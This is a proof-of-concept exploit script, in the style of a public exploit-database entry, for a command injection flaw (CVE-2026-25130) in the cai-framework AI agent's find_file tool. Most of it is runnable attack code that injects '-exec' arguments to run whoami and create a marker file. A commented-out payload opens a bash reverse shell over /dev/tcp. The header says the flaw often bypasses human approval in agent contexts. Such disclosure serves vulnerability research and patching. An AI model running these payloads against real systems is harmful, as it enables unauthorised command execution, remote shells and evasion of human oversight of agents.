Cybersecurity AI (CAI) Framework 0.5.10 - Command Injection

# Exploit Title: Cybersecurity AI (CAI) Framework 0.5.10 - Command Injection
# CVE: CVE-2026-25130
# Date: 2026-02-03
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/yourusername
# Vendor Homepage: https://github.com/aliasrobotics/cai
# Software Link: https://github.com/aliasrobotics/cai
# Vulnerable Version: cai-framework <= 0.5.10
# Tested on: cai-framework 0.5.10
# Category: Argument Injection / OS Command Injection
# Platform: Python
# Exploit Type: Unauthenticated / Authenticated depending on agent context (often bypasses human approval)
#

#
# Usage:
#    Run the script directly (local execution )
#    Observe command output or side effects (e.g. whoami result, created files, etc.)

from cai.tools.reconnaissance.filesystem import find_file
import sys

def main():
    print("=== CVE-2026-25130 PoC - find_file Argument Injection / OS Command Injection ===")
    print("Vulnerable cai-framework <= 0.5.10")
    print("This demonstrates command execution via malicious 'args' parameter\n")

    # ────────────────────────────────────────────────────────────────
    # PoC 1: Simple proof – execute 'whoami' via -exec
    # ────────────────────────────────────────────────────────────────
    print("[Test 1] Executing 'whoami' via -exec")
    malicious_args = "-type f -exec whoami \\;"

    try:
        result = find_file(
            file_path="/tmp",               # Any readable directory
            args=malicious_args,
            ctf=None
        )
        print("[+] Command output:\n", result)
    except Exception as e:
        print("[-] Execution failed:", str(e))

    print("\n" + "-"*70 + "\n")

    # ────────────────────────────────────────────────────────────────
    # PoC 2: Touch a proof file (non-destructive marker)
    # ────────────────────────────────────────────────────────────────
    print("[Test 2] Creating marker file /tmp/CAI_CVE_2026_25130_PROOF")
    proof_args = '-type d -exec touch /tmp/CAI_CVE_2026_25130_PROOF \\;'

    try:
        result = find_file(
            file_path="/tmp",
            args=proof_args,
            ctf=None
        )
        print("[+] Result:\n", result)
        print("Check if file exists: ls -l /tmp/CAI_CVE_2026_25130_PROOF")
    except Exception as e:
        print("[-] Execution failed:", str(e))

    print("\n" + "-"*70 + "\n")

    # ────────────────────────────────────────────────────────────────
    # PoC 3: Dangerous example – reverse shell
    # ────────────────────────────────────────────────────────────────
    # print("[Test 3] Reverse shell example (DO NOT RUN UNLESS IN ISOLATED LAB)")
    # rev_args = '-exec bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" \\;'
    # find_file("/tmp", rev_args)

    print("\nPoC finished.")
    print("If commands executed successfully → vulnerability confirmed.")
    print("After patch (commit e22a1220) these payloads should be rejected.")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Stopped by user.")
    except Exception as e:
        print(f"\n[!] Unexpected error: {e}")
        sys.exit(1)